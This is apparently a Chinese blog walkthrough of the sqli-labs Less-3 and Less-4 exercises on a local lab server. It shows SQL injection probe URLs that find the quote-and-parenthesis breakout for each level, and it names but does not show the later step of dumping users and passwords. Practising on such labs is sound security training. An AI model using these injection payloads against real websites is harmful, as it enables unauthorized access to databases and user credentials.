前言:因为3、4两关比较相似所以放在一起方便大家理解哈。
第三关:
http://192.168.89.131/sqli-labs-master/Less-3/
看到提示:请输入ID作为带数值的参数。
我们还是老套路,遇到什么问题,在分析解决
http://192.168.89.131/sqli-labs-master/Less-3/?id=1’
还是报语法错误。第二关我们分析了,有两种原因,我们继续测试分析
http://192.168.89.131/sqli-labs-master/Less-3/?id=1’ and 1=1%23
我们发现还是语法错误,根据以往的经验可能是数字型注入。还需要进一步的证实
http://192.168.89.131/sqli-labs-master/Less-3/?id=1 and1=1%23
到这里我们发现有回显,暂时判定为数字型注入。查看有没有注入点呢?
http://192.168.89.131/sqli-labs-master/Less-3/?id=1 and1=2%23
看到还是有回显,我们想不对啊,难道没有注入点?还是我们方向偏了?
冷静分析一下sql可能是:
select * from 表名 where=‘n’
select * from 表名 where=(‘n’)
select * from 表名 where=(n)
前两种我们刚才都测试过了,试试下面两种。
http://192.168.89.131/sqli-labs-master/Less-3/?id=1%27) and1=1 %23
突然觉得就比较靠谱,接下来在试试?
http://192.168.89.131/sqli-labs-master/Less-3/?id=1%27) and1=2 %23
看到这个结果,哈哈,我已经笑出了声。字符型注入存在注入点!接下来还是老套路,猜字段、查版本、查表名、查库名、查具体的用户和密码。
第四关:
http://192.168.89.131/sqli-labs-master/Less-4/
有了第三关的基础就好办多了
尝试了第三关的方法还是遇到好多困难,我们还是继续猜测
select * from 表名 where=n
select * from 表名 where=‘n’’
select * from 表名 where=(’‘n’’)
还是慢慢尝试
当我们用http://192.168.65.130/sqli-labs-master/Less-4/?id=1")and1=1%23时,有了希望
查看有没有注入点
http://192.168.65.130/sqli-labs-master/Less-4/?id=1")and1=2%23
到这里我们就有了答案,还是老套路。
总结:第三关、第四关就是’和’'的区别。当我我们遇到问题时,不要慌,猜想下有多少中可能,一个个去尝试,总会有答案的。
本文章为自己搭建实验环境做过的,参考过一些资料,希望对你有帮助